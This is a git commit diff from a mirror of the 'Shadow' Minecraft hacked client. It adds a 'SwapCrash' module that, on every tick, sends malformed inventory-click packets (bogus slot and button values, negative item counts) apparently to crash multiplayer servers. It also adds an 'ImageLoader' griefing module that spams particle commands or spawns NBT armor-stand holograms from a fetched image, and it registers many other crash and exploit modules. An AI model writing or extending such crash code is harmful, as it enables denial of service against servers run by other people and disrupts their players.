mirror of
https://github.com/Miasmusa/Shadow.git
synced 2024-11-14 19:04:54 -05:00
rea
This commit is contained in:
parent
76d47def6c
commit
540773bb88
3 changed files with 340 additions and 5 deletions
|
@ -38,6 +38,7 @@ import net.shadow.client.feature.module.impl.crash.PacketCrash;
|
|||
import net.shadow.client.feature.module.impl.crash.PaintingCrash;
|
||||
import net.shadow.client.feature.module.impl.crash.RequestCrash;
|
||||
import net.shadow.client.feature.module.impl.crash.SSRFCrash;
|
||||
import net.shadow.client.feature.module.impl.crash.SwapCrash;
|
||||
import net.shadow.client.feature.module.impl.exploit.AntiAntiXray;
|
||||
import net.shadow.client.feature.module.impl.exploit.AntiRDI;
|
||||
import net.shadow.client.feature.module.impl.exploit.BoatCrash;
|
||||
|
@ -48,6 +49,7 @@ import net.shadow.client.feature.module.impl.exploit.ChunkCrash;
|
|||
import net.shadow.client.feature.module.impl.exploit.ConsoleSpammer;
|
||||
import net.shadow.client.feature.module.impl.exploit.Equipper;
|
||||
import net.shadow.client.feature.module.impl.exploit.FilterBypass;
|
||||
import net.shadow.client.feature.module.impl.exploit.ImageLoader;
|
||||
import net.shadow.client.feature.module.impl.exploit.InstaBow;
|
||||
import net.shadow.client.feature.module.impl.exploit.OffhandCrash;
|
||||
import net.shadow.client.feature.module.impl.exploit.PingSpoof;
|
||||
|
@ -241,7 +243,7 @@ public class ModuleRegistry {
|
|||
registerModule(BoatPhase.class);
|
||||
registerModule(BoatCrash.class);
|
||||
registerModule(Boom.class);
|
||||
registerModule(CaveMapper.class);
|
||||
//registerModule(CaveMapper.class);
|
||||
registerModule(InstaBow.class);
|
||||
registerModule(ChunkCrash.class);
|
||||
registerModule(OffhandCrash.class);
|
||||
|
@ -253,8 +255,8 @@ public class ModuleRegistry {
|
|||
registerModule(ClickGUI.class);
|
||||
registerModule(TpRange.class);
|
||||
registerModule(AnyPlacer.class);
|
||||
registerModule(FireballDeflector.class);
|
||||
registerModule(ShulkerDeflector.class);
|
||||
//registerModule(FireballDeflector.class);
|
||||
//registerModule(ShulkerDeflector.class);
|
||||
registerModule(CarpetBomb.class);
|
||||
registerModule(AutoTrap.class);
|
||||
registerModule(AutoTNT.class);
|
||||
|
@ -262,7 +264,7 @@ public class ModuleRegistry {
|
|||
registerModule(NoFall.class);
|
||||
registerModule(ESP.class);
|
||||
registerModule(Tracers.class);
|
||||
registerModule(Hyperspeed.class);
|
||||
//registerModule(Hyperspeed.class);
|
||||
registerModule(AntiAnvil.class);
|
||||
registerModule(Swing.class);
|
||||
registerModule(AimAssist.class);
|
||||
|
@ -272,7 +274,7 @@ public class ModuleRegistry {
|
|||
registerModule(AntiAntiXray.class);
|
||||
registerModule(PingSpoof.class);
|
||||
registerModule(AutoAttack.class);
|
||||
registerModule(MouseEars.class);
|
||||
//registerModule(MouseEars.class);
|
||||
registerModule(Spinner.class);
|
||||
registerModule(AllowFormatCodes.class);
|
||||
registerModule(InfChatLength.class);
|
||||
|
@ -375,6 +377,8 @@ public class ModuleRegistry {
|
|||
registerModule(MoveCrash.class);
|
||||
registerModule(MultiShot.class);
|
||||
registerModule(Explosion.class);
|
||||
registerModule(SwapCrash.class);
|
||||
registerModule(ImageLoader.class);
|
||||
|
||||
|
||||
rebuildSharedModuleList();
|
||||
|
|
|
@ -0,0 +1,76 @@
|
|||
/*
|
||||
* Copyright (c) Shadow client, Saturn5VFive and contributors 2022. All rights reserved.
|
||||
*/
|
||||
|
||||
package net.shadow.client.feature.module.impl.crash;
|
||||
|
||||
import java.util.Random;
|
||||
|
||||
import it.unimi.dsi.fastutil.ints.Int2ObjectArrayMap;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.shadow.client.feature.config.DoubleSetting;
|
||||
import net.shadow.client.feature.module.Module;
|
||||
import net.shadow.client.feature.module.ModuleType;
|
||||
import it.unimi.dsi.fastutil.ints.Int2ObjectArrayMap;
|
||||
import it.unimi.dsi.fastutil.ints.Int2ObjectMap;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.minecraft.item.ItemStack;
|
||||
import net.minecraft.item.Items;
|
||||
import net.minecraft.network.packet.c2s.play.ButtonClickC2SPacket;
|
||||
import net.minecraft.network.packet.c2s.play.ClickSlotC2SPacket;
|
||||
import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket;
|
||||
import net.minecraft.network.packet.c2s.play.SelectMerchantTradeC2SPacket;
|
||||
import net.minecraft.network.packet.c2s.play.UpdateCommandBlockC2SPacket;
|
||||
import net.minecraft.screen.slot.SlotActionType;
|
||||
|
||||
public class SwapCrash extends Module {
|
||||
|
||||
final DoubleSetting pwr = this.config.create(new DoubleSetting.Builder(5).min(1).max(32).name("Power").description("Force to attack with").precision(0).get());
|
||||
|
||||
|
||||
public SwapCrash() {
|
||||
super("SwapCrash", "funny crash v2", ModuleType.CRASH);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void tick() {
|
||||
Int2ObjectMap<ItemStack> ripbozo = new Int2ObjectArrayMap<>();
|
||||
ripbozo.put(0, new ItemStack(Items.ACACIA_BOAT, 1));
|
||||
for (int i = 0; i < pwr.getValue(); i++) {
|
||||
client.player.networkHandler.sendPacket(
|
||||
new ClickSlotC2SPacket(
|
||||
client.player.currentScreenHandler.syncId,
|
||||
123344,
|
||||
36 + 9,
|
||||
2859623,
|
||||
SlotActionType.PICKUP,
|
||||
new ItemStack(Items.AIR, -1),
|
||||
ripbozo
|
||||
)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void enable() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disable() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getContext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onWorldRender(MatrixStack matrices) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onHudRender() {
|
||||
|
||||
}
|
||||
}
|
|
@ -0,0 +1,255 @@
|
|||
/*
|
||||
* Copyright (c) Shadow client, Saturn5VFive and contributors 2022. All rights reserved.
|
||||
*/
|
||||
|
||||
package net.shadow.client.feature.module.impl.exploit;
|
||||
|
||||
import net.minecraft.item.ItemStack;
|
||||
import net.minecraft.item.Items;
|
||||
import net.minecraft.network.packet.c2s.play.ChatMessageC2SPacket;
|
||||
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
|
||||
import net.minecraft.network.packet.c2s.play.PlayerInteractBlockC2SPacket;
|
||||
import net.minecraft.util.math.Vec3d;
|
||||
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.shadow.client.feature.config.DoubleSetting;
|
||||
import net.shadow.client.feature.config.EnumSetting;
|
||||
import net.shadow.client.feature.config.StringSetting;
|
||||
import net.shadow.client.feature.module.Module;
|
||||
import net.shadow.client.feature.module.ModuleType;
|
||||
import net.shadow.client.helper.event.EventListener;
|
||||
import net.shadow.client.helper.event.EventType;
|
||||
import net.shadow.client.helper.event.events.PacketEvent;
|
||||
|
||||
import javax.imageio.ImageIO;
|
||||
import java.awt.*;
|
||||
import java.awt.image.BufferedImage;
|
||||
import java.io.InputStream;
|
||||
import java.net.HttpURLConnection;
|
||||
import java.net.URL;
|
||||
|
||||
import net.minecraft.item.ItemStack;
|
||||
import net.minecraft.item.Items;
|
||||
import net.minecraft.nbt.*;
|
||||
import net.minecraft.text.Text;
|
||||
import net.minecraft.util.math.Vec3d;
|
||||
|
||||
public class ImageLoader extends Module {
|
||||
|
||||
public static String text;
|
||||
public static String argument;
|
||||
final String block = "█";
|
||||
final StringSetting url = this.config.create(new StringSetting.Builder("https://null").name("Image").description("Image to load").get());
|
||||
final DoubleSetting size = this.config.create(new DoubleSetting.Builder(70).name("Size").description("size of the image").min(10).max(100).precision(0).get());
|
||||
final EnumSetting<Mode> mode = this.config.create(new EnumSetting.Builder<>(Mode.ArmorStand).name("Mode").description("Mode to print the image in").get());
|
||||
BufferedImage imageToBuild;
|
||||
int index = 0;
|
||||
int placed = 0;
|
||||
int skipper = 0;
|
||||
Vec3d ppos = null;
|
||||
|
||||
public ImageLoader() {
|
||||
super("ImageLoader", "Load images into minecraft", ModuleType.GRIEF);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void tick() {
|
||||
if (mode.getValue().equals(Mode.Particle)) {
|
||||
//particle dust 1.000 0.000 0.000 1 ~ ~ ~ 0 0 0 1 1000 normal
|
||||
if (skipper % 50 == 0) {
|
||||
double px = 0;
|
||||
double py = 0;
|
||||
for (int index = 0; index < imageToBuild.getHeight(); index++) {
|
||||
for (int i = 0; i < imageToBuild.getWidth(); i++) {
|
||||
var r = new Color(imageToBuild.getRGB(i, index)).getRed();
|
||||
var g = new Color(imageToBuild.getRGB(i, index)).getGreen();
|
||||
var b = new Color(imageToBuild.getRGB(i, index)).getBlue();
|
||||
//ChatUtils.message(r + " " + g + " " + b);
|
||||
double rM = ((r * 1000) / 255);
|
||||
double gM = ((g * 1000) / 255);
|
||||
double bM = ((b * 1000) / 255);
|
||||
px += size.getValue() / 100;
|
||||
//ChatUtils.message("/particle dust " + (rM / 1000D) + " " + (gM / 1000D) + " " + (bM / 1000D) + " 1 " + (ppos.getX() + px) + " " + (ppos.getY() + py) + " " + ppos.getZ() + " 0 0 0 1 5 force");
|
||||
client.player.networkHandler.sendPacket(new ChatMessageC2SPacket("/particle dust " + (rM / 1000D) + " " + (gM / 1000D) + " " + (bM / 1000D) + " 500 " + (ppos.getX() + px) + " " + (ppos.getY() + py) + " " + ppos.getZ() + " 0 0 0 1 20 force"));
|
||||
}
|
||||
py -= size.getValue() / 50;
|
||||
px = 0;
|
||||
index++;
|
||||
}
|
||||
}
|
||||
skipper++;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void enable() {
|
||||
ppos = client.player.getPos();
|
||||
placed = 0;
|
||||
index = 0;
|
||||
loadImage(url.getValue());
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disable() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getContext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onWorldRender(MatrixStack matrices) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onHudRender() {
|
||||
|
||||
}
|
||||
|
||||
public enum Mode {
|
||||
ArmorStand,
|
||||
Particle,
|
||||
Chat
|
||||
}
|
||||
|
||||
|
||||
public void loadImage(String imageurl) {
|
||||
try {
|
||||
URL u = new URL(imageurl);
|
||||
HttpURLConnection huc = (HttpURLConnection) u.openConnection();
|
||||
huc.setRequestProperty("User-Agent", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0");
|
||||
huc.connect();
|
||||
InputStream is = huc.getInputStream();
|
||||
BufferedImage loadedImage = ImageIO.read(is);
|
||||
double newWidth = size.getValue();
|
||||
double scale = (double) loadedImage.getWidth() / newWidth;
|
||||
imageToBuild = resize(loadedImage, (int) (loadedImage.getWidth() / scale), (int) (loadedImage.getHeight() / scale));
|
||||
|
||||
huc.disconnect();
|
||||
} catch (Exception ignored) {
|
||||
setEnabled(false);
|
||||
}
|
||||
}
|
||||
|
||||
private BufferedImage resize(BufferedImage img, int newW, int newH) {
|
||||
Image tmp = img.getScaledInstance(newW, newH, Image.SCALE_SMOOTH);
|
||||
BufferedImage dimg = new BufferedImage(newW, newH, BufferedImage.TYPE_INT_ARGB);
|
||||
|
||||
Graphics2D g2d = dimg.createGraphics();
|
||||
g2d.drawImage(tmp, 0, 0, null);
|
||||
g2d.dispose();
|
||||
|
||||
return dimg;
|
||||
}
|
||||
|
||||
@EventListener(type=EventType.PACKET_SEND)
|
||||
void onPacketSend(PacketEvent event){
|
||||
if (event.getPacket() instanceof PlayerInteractBlockC2SPacket) {
|
||||
if (mode.getValue().equals(Mode.ArmorStand)) {
|
||||
Hologram generated = generateDefault(text, Vec3d.ZERO).isSmall(false).isEgg(false);
|
||||
int max = imageToBuild.getHeight();
|
||||
if (index >= max) {
|
||||
setEnabled(false);
|
||||
client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(36 + client.player.getInventory().selectedSlot, new ItemStack(Items.AIR, 1)));
|
||||
return;
|
||||
}
|
||||
StringBuilder builder = new StringBuilder();
|
||||
builder.append("[");
|
||||
for (int i = 0; i < imageToBuild.getWidth(); i++) {
|
||||
int r = imageToBuild.getRGB(i, index);
|
||||
int rP = r & 0xFFFFFF | 0xF000000;
|
||||
builder.append("{\"text\":\"").append(block).append("\",\"color\":\"#").append(Integer.toString(rP, 16).substring(1)).append("\"},");
|
||||
}
|
||||
String mc = builder.substring(0, builder.length() - 1) + "]";
|
||||
index++;
|
||||
generated.text(mc).wrapsName(false);
|
||||
generated.position(ppos.add(0, -(index / 4.5f), 0));
|
||||
CreativeInventoryActionC2SPacket p = new CreativeInventoryActionC2SPacket(36 + client.player.getInventory().selectedSlot, generated.generate());
|
||||
client.getNetworkHandler().sendPacket(p);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static Hologram generateDefault(String text, Vec3d pos) {
|
||||
return new Hologram().position(pos).text(text).isEgg(false).isSmall(false);
|
||||
}
|
||||
|
||||
public static class Hologram {
|
||||
|
||||
String text;
|
||||
Vec3d pos;
|
||||
boolean isEgg = false, isChild = false, isVisible = false, hasGravity = false, wrapName = true, isMarker = true;
|
||||
|
||||
public Hologram() {
|
||||
this.text = "";
|
||||
this.pos = Vec3d.ZERO;
|
||||
}
|
||||
|
||||
public Hologram text(String text) {
|
||||
this.text = text;
|
||||
return this;
|
||||
}
|
||||
|
||||
public Hologram isMarker(boolean m) {
|
||||
this.isMarker = m;
|
||||
return this;
|
||||
}
|
||||
|
||||
public Hologram hasGravity(boolean hasGravity) {
|
||||
this.hasGravity = hasGravity;
|
||||
return this;
|
||||
}
|
||||
|
||||
public Hologram isVisible(boolean isVisible) {
|
||||
this.isVisible = isVisible;
|
||||
return this;
|
||||
}
|
||||
|
||||
public Hologram position(Vec3d pos) {
|
||||
this.pos = pos;
|
||||
return this;
|
||||
}
|
||||
|
||||
@SuppressWarnings("UnusedReturnValue")
|
||||
public Hologram wrapsName(boolean wrapName) {
|
||||
this.wrapName = wrapName;
|
||||
return this;
|
||||
}
|
||||
|
||||
public Hologram isEgg(boolean isEgg) {
|
||||
this.isEgg = isEgg;
|
||||
return this;
|
||||
}
|
||||
|
||||
public Hologram isSmall(boolean isChild) {
|
||||
this.isChild = isChild;
|
||||
return this;
|
||||
}
|
||||
|
||||
public ItemStack generate() {
|
||||
ItemStack stack = new ItemStack(isEgg ? Items.BEE_SPAWN_EGG : Items.ARMOR_STAND);
|
||||
NbtCompound tag = new NbtCompound();
|
||||
NbtList pos = new NbtList();
|
||||
pos.add(NbtDouble.of(this.pos.x));
|
||||
pos.add(NbtDouble.of(this.pos.y));
|
||||
pos.add(NbtDouble.of(this.pos.z));
|
||||
tag.put("CustomNameVisible", NbtByte.ONE);
|
||||
tag.put("CustomName", wrapName ? NbtString.of("{\"text\":\"" + this.text.replaceAll("&", "§") + "\"}") : NbtString.of(this.text.replaceAll("&", "§")));
|
||||
tag.put("Invisible", NbtByte.of(!isVisible));
|
||||
tag.put("Invulnerable", NbtByte.ONE);
|
||||
tag.put("NoGravity", NbtByte.of(!hasGravity));
|
||||
tag.put("Small", NbtByte.of(isChild));
|
||||
tag.put("Marker", NbtByte.of(isMarker));
|
||||
tag.put("Pos", pos);
|
||||
if (isEgg) {
|
||||
tag.put("id", NbtString.of("minecraft:armor_stand"));
|
||||
}
|
||||
stack.setSubNbt("EntityTag", tag);
|
||||
stack.setCustomName(Text.of("§r§cHologram"));
|
||||
return stack;
|
||||
}
|
||||
}
|
||||
}
|
Loading…
Reference in a new issue